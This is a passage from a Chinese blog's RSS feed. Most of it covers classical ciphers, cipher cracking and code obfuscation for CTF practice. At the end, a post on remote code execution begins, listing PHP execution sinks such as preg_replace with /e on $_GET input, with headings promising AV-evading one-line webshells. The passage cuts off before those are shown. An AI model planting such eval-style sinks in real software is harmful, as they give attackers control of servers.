加密过程：分别在明文矩阵中找到’TH’，分别找到他们在右上矩阵有左下矩阵的交点字母’ES’就是密文，以此类推。

密文：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt; ESZWQAFHGTDKWHRKUENYQOLMQTUNWMBPTGHQ&lt;/code&gt;

（2）已知密钥矩阵加解密
&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;pycipher&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Foursquare&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fs&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Foursquare&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'zgptfoihmuwdrcnykeqaxvsbl'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'mfnbdcrhsaxyogvituewlqzkp'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encipher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;'ESZWQAFHGTDKWHRKUENYQOLMQTUNWMBPTGHQ'&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;decipher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'ESZWQAFHGTDKWHRKUENYQOLMQTUNWMBPTGHQ'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;'THEQUICKBROWNFOXJUMPSOVERTHELAZYDOG'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
在线加解密 &lt;a href=&quot;http://www.practicalcryptography.com/ciphers/classical-era/four-square/&quot;&gt;传送门&lt;/a&gt;

（3）未知密钥矩阵破解

推荐一篇关于采用 &lt;a href=&quot;http://blog.csdn.net/xianlingmao/article/details/7798647&quot;&gt;模拟退火算法&lt;/a&gt; 的 &lt;a href=&quot;http://www.practicalcryptography.com/cryptanalysis/stochastic-searching/cryptanalysis-foursquare-cipher/&quot;&gt;四方密码分析&lt;/a&gt; 文章，如果有足够多的密文那么四方密码可以轻易被破解，如果知道了明文和密文推出密钥是很容易的，猜测部分明文是一个有效的方法去破解四方密码，如果一部分明文已知或者可以被猜测出 那么我们首先要确定尽可能多可利用的密钥，然后才可以进行更多的推测或者用其他的方法破译。基于四方密码分析一文实现的 C代码 破解示例：

密文(密文最好在200个字符以上)：
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;HMMKEQESDTMDHLAWFWMNKSOSFOMRFNLWLKHNSQGGEKXEOLLVDXNRSQQGARTFKSAVNUDLFNDHESPZGQ TWESAGPGSQSQSTPKUSBBQLQHESAGPGSQSQGXLNAVHTPMHMKKNYGSUGDMTPDGFNKYAVHXLWGEKRILESLZ ZOFNAVIHRHRKAGHSMYUGEGNSRGAVMVOQPRLNKRXLMYLQPXILESQYBNRHRKAGKYQXDIHMPGPYOERZOLBEZ LURFWLWUOLDDPNSQYAGMUQPQWESBEZVEQESDTMDBQLWDIUSHB
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
用法：
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gcc -O3 -lm foursquarecrack2.c scoreText_2.c -o fsc
./fsc
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
输出结果：
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Running foursquarecrack, this could take a few minutes... 
best score so far: -1239.505249, on iteration 1
Key: 'KFMLUGWSQEPOZTNRBHDAVXCIY','UGSVKFIZMOYXPQRWTHLNCABED'     
plaintext: 'THECIPHERTEXTSQUARESCANBEGENERATEDUSINGAKEYWORDDROPPINGDUPLICAT
            ELETTERSTHENFILLTHEREMAININGSPACESWITHTHEREMAININGLETTERSOFTHEA
            LPHABETINORDERALTERNATIVELYTHECIPHERTEXTSQUARESCANBEGENERATEDCO
            MPLETELYRANDOMLYTHEFOURSQUAREALGORITHMALLOWSFORTWOSEPARATEKEYSO
            NEFOREACHOFTHETWOCIPHERTEXTMATRICESX'
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;22棋盘密码&quot;&gt;22.棋盘密码&lt;/h3&gt;
棋盘密码（Checkerboard Cipher)是使用一个波利比奥斯方阵和两个密钥作为密阵的替换密码，通常在波利比奥斯方阵中J字母往往被包含在I字母中。

示例密阵：
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;   Q  U  I  C  K
  --------------
B |K  N I/J G  H
R |P  Q  R  S  T
O |O  Y  Z  U  A
W |M  X  W  V  B
N |L  F  E  D  C
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
经过密阵替换:

明文:&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;T  H  E  Q  U  I  C  K  B  R  O  W  N  F  O  X&lt;/code&gt;
密文:&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RK BK RU OC OC BI NK BQ WK RI OQ WI BU NU OQ WU&lt;/code&gt;
&lt;h3 id=&quot;23跨棋盘密码&quot;&gt;23.跨棋盘密码&lt;/h3&gt;
跨棋盘密码(Straddle Checkerboard Cipher)是一种替换密码，当这种密码在结合其他加密方式，加密效果会更好。

棋盘示例(选择3和7作为变换):
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; 2 3 4 5 6 7 8 9
   f k m   c p d   y e
: h b i g q r o s a z
: l u t j n w v x    
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
明文:&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt; T H E Q U I C K B R O W N F O X&lt;/code&gt;

经过加密棋盘替换得到密文:&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt; 72 30 9 34 71 32 4 1 31 35 36 75 74 0 36 77&lt;/code&gt;

当然我们还可以继续用其他的加密方式在对跨棋盘密码加密出的结果再进行加密:

示例变换密钥:&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;83729&lt;/code&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;29837298372983729837
    +7230934713241313536757403677
    -----------------------------
817432078501808630122404
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
在经过棋盘转换后:
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;32078501808630122404
ppfmyk n if  pfkyfyd hkmmcfc
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
最终得到密文:&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt; ppfmyk n if pfkyfyd hkmmcfc&lt;/code&gt;

在线加解密 &lt;a href=&quot;http://www.practicalcryptography.com/ciphers/classical-era/straddle-checkerboard/&quot;&gt;传送门&lt;/a&gt;

&lt;h3 id=&quot;24分组摩尔斯替换密码&quot;&gt;24.分组摩尔斯替换密码&lt;/h3&gt;
分组摩尔斯替换密码(Fractionated Morse Cipher)首先把明文转换为莫尔斯电码，不过每个字母之间用 x 分开，每个单词用 xx 分开。然后使用密钥生成一个替换密表，这个密表包含所有 . - x 组合的情况(因为不会出现 xxx 的情况，所以一共26种组合)。

密钥: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MORSECODE&lt;/code&gt;

密表:
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MORSECDABFGHIJKLNPQTUVWXYZ
.........---------XXXXXXXX
...---XXX...---XXX...---XX
.-X.-X.-X.-X.-X.-X.-X.-X.-
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
说明:密表下半部分是固定的，密表的安全性以及加密效果主要取决于使用的密钥。

明文：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt; THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG&lt;/code&gt;

(类似)摩尔斯电码:
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;-x....x.xx--.-x..-x..x-.-.x-.-xx-...x.-.x---x.--x-.xx..-.x---x-..-xx.---x..- --x.--.x...xx---x...-x.x.-.xx-x....x.xx.-..x.-x--..x-.--xx-..x---x--.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
说明:明文在转换为(类似)摩尔斯电码后进行每3个字符分组，再进行密表的查表。

密文(经过密表替换):&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt; LMUWC OQVHG ZMTAK EVYSW NOYJQ NLIQB JQCDH XMDYF TWRGP FWNH&lt;/code&gt;

已知密钥在线加解密 &lt;a href=&quot;http://ruffnekk.stormloader.com/fractmorse_tool.html&quot;&gt;传送门&lt;/a&gt;

&lt;h3 id=&quot;25bazeries密码&quot;&gt;25.Bazeries密码&lt;/h3&gt;
Bazeries密码(Bazeries Cipher)是换位密码和替换密码的组合，使用两个波利比奥斯方阵，一个明文字母方阵，使用一个随机的数字(一般小于1000000)的生成一个密钥矩阵同时作为第一轮明文划分分组，比如2333这个数字翻译为英文便是TWO THOUSAND THREE HUNDRED THIRTY THREE,从第一个字母T开始选取不重复的字母，之后再从字母表中按序选取没有出现的字母组成密钥矩阵。

明文: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG&lt;/code&gt;

随机数字: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2333&lt;/code&gt;

明文矩阵:
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;A  F  L  Q  V
B  G  M  R  W
C  H  N  S  X
D I/J O  T  Y
E  K  P  U  Z
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
示例密钥矩阵:
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;T  W  O  H  U
S  A  N  D  R
E I/J Y  B  C
F  G  K  L  M
P  Q  V  X  Z
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
明文分组:
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;   3   3   2   3   3   3  2   3   3  3
TH EQU ICK BRO WN FOX JUM PSO VE RTH ELA ZYD OG
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
分组明文反序:
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;HT UQE KCI ORB WN XOF MUJ OSP EV EHT ALE DYZ GO
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
使用密钥矩阵替换:
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;IL XHP QEG KDS YR CKW NXG KBV PU ILD TOP FMZ AK
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
(比如’H’在明文矩阵对应到密钥矩阵的位置就是’I’）

已知密钥在线加解密 &lt;a href=&quot;http://ruffnekk.stormloader.com/bazeries_tool.html&quot;&gt;传送门&lt;/a&gt;

&lt;h3 id=&quot;26digrafid密码&quot;&gt;26.Digrafid密码&lt;/h3&gt;
Digrafid密码(Digrafid Cipher)使用两个密钥生成分别生成类似波利比奥斯方阵的3x9方格的密表。，主要有3分组和4分组两类。

第一个方阵密钥: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;digrafid&lt;/code&gt;

第二个方阵密钥: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cipher&lt;/code&gt;

密表：
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; 3 4 5 6 7 8 9
D I G R A F D B C 1 2 3
E H J L M N O P Q 4 5 6
S T U V W X Y Z # 7 8 9
                  c f s 1
                  i g t 2
                  p j u 3
                  h k v 4
                  e l w 5
                  r m x 6
                  a n y 7
                  b o z 8
                  d q # 9
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

明文:&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt; THE QUICK BROWN FOX&lt;/code&gt;

密表转换(以4分组为例):
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Th Eq Ui Ck   Br Ow Nf Ox
  1  3  9    8  7  6  7
  5  7  2    1  6  5  6
  9  2  4    6  5  1  6

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
说明:T在第一矩阵第2列，h在第二矩阵第4行，T所在的行与h所在的列相交的位置数字为7，所以Th表示为274。

转换密文:
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; 724 924   876 716 566 516
Ip  #e  Dk  Ck    Zr  Dr  Mx  Ar
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;27格朗普雷密码&quot;&gt;27.格朗普雷密码&lt;/h3&gt;
格朗普雷密码(Grandpré Cipher)是替换密码的一种，一般使用8个8字母的单词横向填充8x8方阵，且第一列为一个单词，并且在方阵中26个字母都必须出现一次以上。

示例密阵:
&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103155574778.jpg&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

明文:&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;T  H  E  Q  U  I  C  K  B  R  O  W  N  F  O &lt;/code&gt;
密文:&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;84 27 82 41 51 66 31 36 15 71 67 73 52 34 67&lt;/code&gt;
说明：明文中的字母在密阵位置可能不止一个，所以加密结果可能有多种，但是不影响解密。密阵还有&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;6x6，7x7，9x9,10x10&lt;/code&gt;几种。显然密阵越大每个字母被替换的情况就可能越多，那么加密效果就更好。

&lt;h3 id=&quot;28比尔密码&quot;&gt;28.比尔密码&lt;/h3&gt;
比尔密码(Beale ciphers)有三份密码，当然这里说的是已被破解第二份，是一种类似书密码的替换密码。
&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103155650516.png&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

以第二密码为例，每一个数字代表美国《独立宣言》的文本中的第几个词的首字母，如1代表第1个词的首字母“w”，2代表第2个词首字母“i”。解密后的文字如下：

&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;I have deposited in the county of Bedford...&lt;/code&gt;

比尔密码还有一段有趣的故事，感兴趣可以看一下比尔密码的 详细介绍 。

&lt;h3 id=&quot;29键盘密码&quot;&gt;29.键盘密码&lt;/h3&gt;
一般用到的键盘密码就是手机键盘和电脑键盘两种，2014 0ctf比赛里Crypto类型中Classic一题就是电脑键盘密码，详细可以 &lt;a href=&quot;http://ju.outofmemory.cn/entry/66364&quot;&gt;参考&lt;/a&gt; ，另外给出另外一些 &lt;a href=&quot;http://www.secbox.cn/hacker/ctf/8078.html&quot;&gt;参考&lt;/a&gt; 情况。

&lt;h2 id=&quot;其他有趣的机械密码&quot;&gt;其他有趣的机械密码&lt;/h2&gt;
&lt;h3 id=&quot;1恩尼格玛密码&quot;&gt;1.恩尼格玛密码&lt;/h3&gt;
恩尼格玛密码机（德语：Enigma，又译哑谜机，或“谜”式密码机）是一种用于加密与解密文件的密码机。确切地说，恩尼格玛是对二战时期纳粹德国使用的一系列相似的转子机械加解密机器的统称，它包括了许多不同的型号，为密码学对称加密算法的流加密。详细工作原理参考 &lt;a href=&quot;https://zh.wikipedia.org/wiki/%E6%81%A9%E5%B0%BC%E6%A0%BC%E7%8E%9B%E5%AF%86%E7%A0%81%E6%9C%BA&quot;&gt;维基百科&lt;/a&gt; 。

&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103203693531.jpg&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

在线模拟 &lt;a href=&quot;http://enigmaco.de/enigma/enigma.html&quot;&gt;传送门&lt;/a&gt;

感兴趣可以观看 播单:&lt;a href=&quot;http://list.youku.com/albumlist/show?id=23400097&amp;amp;ascending=1&amp;amp;page=1&quot;&gt;计算机历史文化课&lt;/a&gt;

&lt;h2 id=&quot;代码混淆加密&quot;&gt;代码混淆加密&lt;/h2&gt;
&lt;h3 id=&quot;1-asp混淆加密&quot;&gt;1. &lt;a href=&quot;http://www.zhaoyuanma.com/aspfix.html&quot;&gt;asp混淆加密&lt;/a&gt;&lt;/h3&gt;

&lt;h3 id=&quot;2-php-language混淆加密&quot;&gt;2. &lt;a href=&quot;http://www.zhaoyuanma.com/phpjmvip.html&quot;&gt;php language=”混淆加密”&lt;/a&gt;&lt;/h3&gt;

&lt;h3 id=&quot;3-css-languagejs混淆加密&quot;&gt;3. &lt;a href=&quot;http://tool.css-js.com/&quot;&gt;css language=”/js混淆加密”&lt;/a&gt;&lt;/h3&gt;

&lt;h3 id=&quot;4-vbscriptencode混淆加密&quot;&gt;4. &lt;a href=&quot;http://www.zhaoyuanma.com/aspfix.html&quot;&gt;VBScript.Encode混淆加密&lt;/a&gt;&lt;/h3&gt;

&lt;h3 id=&quot;5ppencode&quot;&gt;5.ppencode&lt;/h3&gt;
ppencode-Perl把Perl代码转换成只有英文字母的字符串。
&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103160015412.png&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

ppencode &lt;a href=&quot;http://namazu.org/~takesako/ppencode/demo.html&quot;&gt;传送门&lt;/a&gt;

&lt;h3 id=&quot;6rrencode&quot;&gt;6.rrencode&lt;/h3&gt;
rrencode可以把ruby代码全部转换成符号。
&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103160293706.jpg&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

rrencode &lt;a href=&quot;http://www.lab2.kuis.kyoto-u.ac.jp/~yyoshida/rrencode.html&quot;&gt;传送门&lt;/a&gt;

&lt;h3 id=&quot;7jjencodeaaencode&quot;&gt;7.jjencode/aaencode&lt;/h3&gt;
jjencode将JS代码转换成只有符号的字符串，类似于rrencode，介绍的 &lt;a href=&quot;http://utf-8.jp/public/20090710/jjencode.pps&quot;&gt;PPT&lt;/a&gt; ，aaencode可以将JS代码转换成常用的网络表情，也就是我们说的颜文字js加密。
&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103160390391.png&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

aaencode &lt;a href=&quot;http://utf-8.jp/public/aaencode.html&quot;&gt;传送门&lt;/a&gt;

jjencode/aaencode的解密直接在浏览器的控制台里输入密文即可执行解密，想要详细了解jjencode是如何进行请 &lt;a href=&quot;http://pferrie2.tripod.com/papers/jjencode.pdf&quot;&gt;参考&lt;/a&gt; ，你也可以在github上 &lt;a href=&quot;https://github.com/jacobsoo/Decoder-JJEncode&quot;&gt;下载&lt;/a&gt; 实现jjdecoder的源码进行分析。
&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103173692977.png&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

&lt;h3 id=&quot;8jsfuck&quot;&gt;8.JSfuck&lt;/h3&gt;
JSFuck 可以让你只用 6 个字符 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[ ]( ) ! + &lt;/code&gt;来编写 JavaScript 程序。
&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103160863321.png&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

JSfuck &lt;a href=&quot;http://www.jsfuck.com/&quot;&gt;传送门&lt;/a&gt;

&lt;h3 id=&quot;9jother&quot;&gt;9.jother&lt;/h3&gt;
jother是一种运用于javascript语言中利用少量字符构造精简的匿名函数方法对于字符串进行的编码方式。其中8个少量字符包括：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt; ! + ( ) [ ] { } &lt;/code&gt;。只用这些字符就能完成对任意字符串的编码。

do9gy 的 &lt;a href=&quot;http://ju.outofmemory.cn/entry/107452&quot;&gt;jother编码之谜&lt;/a&gt;
&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103160970856.png&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

jother编码 &lt;a href=&quot;http://tmxk.org/jother/&quot;&gt;传送门&lt;/a&gt;

jother直接在浏览器(IE可以)的控制台里输入密文即可执行解密：

&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103161159933.png&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

&lt;h3 id=&quot;10brainfuck&quot;&gt;10.brainfuck&lt;/h3&gt;
Brainfuck是一种极小化的计算机语言，按照”Turing complete（完整图灵机）”思想设计的语言，它的主要设计思路是：用最小的概念实现一种“简单”的语言，BrainF**k 语言只有八种符号，所有的操作都由这八种符号(&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt; &amp;gt; &amp;lt; + - . , [ ] &lt;/code&gt;的组合来完成。

明文：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hello!&lt;/code&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;+++++ +++++ [-&amp;gt;++ +++++ +++&amp;lt;] &amp;gt;++++ .---. +++++ ++..+ ++.&amp;lt;+ +++++ +++++
[-&amp;gt;++ +++++ ++++&amp;lt; ]&amp;gt;+++ ++++. &amp;lt;++++ +++[- &amp;gt;---- ---&amp;lt;] &amp;gt;--.&amp;lt; +++++ ++[-&amp;gt;
----- --&amp;lt;]&amp;gt; ----- ----- .&amp;lt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
brainfuck &lt;a href=&quot;http://www.splitbrain.org/services/ook&quot;&gt;传送门&lt;/a&gt;

其他稀奇古怪的编程语言请 &lt;a href=&quot;http://news.mydrivers.com/1/190/190926.htm&quot;&gt;参考&lt;/a&gt;

相关工具
&lt;a href=&quot;http://www.wechall.net/applet/JPK_406.jar&quot;&gt;JPK神器&lt;/a&gt;

&lt;a href=&quot;https://github.com/jameslyons/python_cryptanalysis&quot;&gt;密码破解脚本&lt;/a&gt;

&lt;a href=&quot;https://dl.packetstormsecurity.net/shellcode/shellcodeencdec.py.txt&quot;&gt;shellcode转换脚本&lt;/a&gt;

参考网站
&lt;a href=&quot;https://en.wikipedia.org/wiki/Classical_cipher&quot;&gt;Wikipedia Classical Cipher&lt;/a&gt;

&lt;a href=&quot;http://cryptogram.org/cipher_types.html&quot;&gt;Cryptogram Cipher Types&lt;/a&gt;

&lt;a href=&quot;http://www.practicalcryptography.com/&quot;&gt;Practical Cryptography&lt;/a&gt;

&lt;a href=&quot;http://rumkin.com/tools/cipher/&quot;&gt;Rumkin Cipher Tools&lt;/a&gt;

&lt;a href=&quot;https://encode-decode.appspot.com/&quot;&gt;encode-decode&lt;/a&gt;

&lt;a href=&quot;https://www.hackfun.org/&quot;&gt;4ido10n Blog&lt;/a&gt;

&lt;a href=&quot;http://wordsmith.org/anagram/&quot;&gt;Anagram&lt;/a&gt;

&lt;a href=&quot;http://www.thonky.com/kryptos/&quot;&gt;Thonky&lt;/a&gt;

</description>
        <pubDate>Sat, 20 Oct 2018 00:00:00 +0000</pubDate>
        <link>https://hannoch.github.io/2018/10/20/cipher/</link>
        <guid isPermaLink="true">https://hannoch.github.io/2018/10/20/cipher/</guid>
        
        <category>Cipher</category>
        
        <category>CTF</category>
        
        
        <category>Cipher</category>
        
      </item>
    
      <item>
        <title>远程命令执行漏洞</title>
        <description>&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#前言&quot; id=&quot;markdown-toc-前言&quot;&gt;前言&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#远程代码执行常见点&quot; id=&quot;markdown-toc-远程代码执行常见点&quot;&gt;远程代码执行常见点&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#生僻函数免杀一句话&quot; id=&quot;markdown-toc-生僻函数免杀一句话&quot;&gt;生僻函数免杀一句话&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#生成我们的一句话木马&quot; id=&quot;markdown-toc-生成我们的一句话木马&quot;&gt;生成我们的一句话木马&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;前言&quot;&gt;前言&lt;/h1&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;远程命令执行漏洞，用户通过浏览器提交执行命令，由于服务器端没有针对执行函数做过滤，导致在没有指定绝对路径的情况下就执行命令，可能会允许攻击者通过改变$PATH（变量）或程序执行环境的其他方面来执行一个恶意构造的代码。来源：百度百科 # 远程代码执行原理
客户端向服务器发送恶意请求，该请求内容中有服务器端可执行的代码，服务器端接收请求后未 对来源数据做出过滤/拦截操作，从而造成代码执行漏洞。
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;远程代码执行常见点&quot;&gt;远程代码执行常见点&lt;/h1&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;eval&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;preg_replace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;//e&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'h'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;array_map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
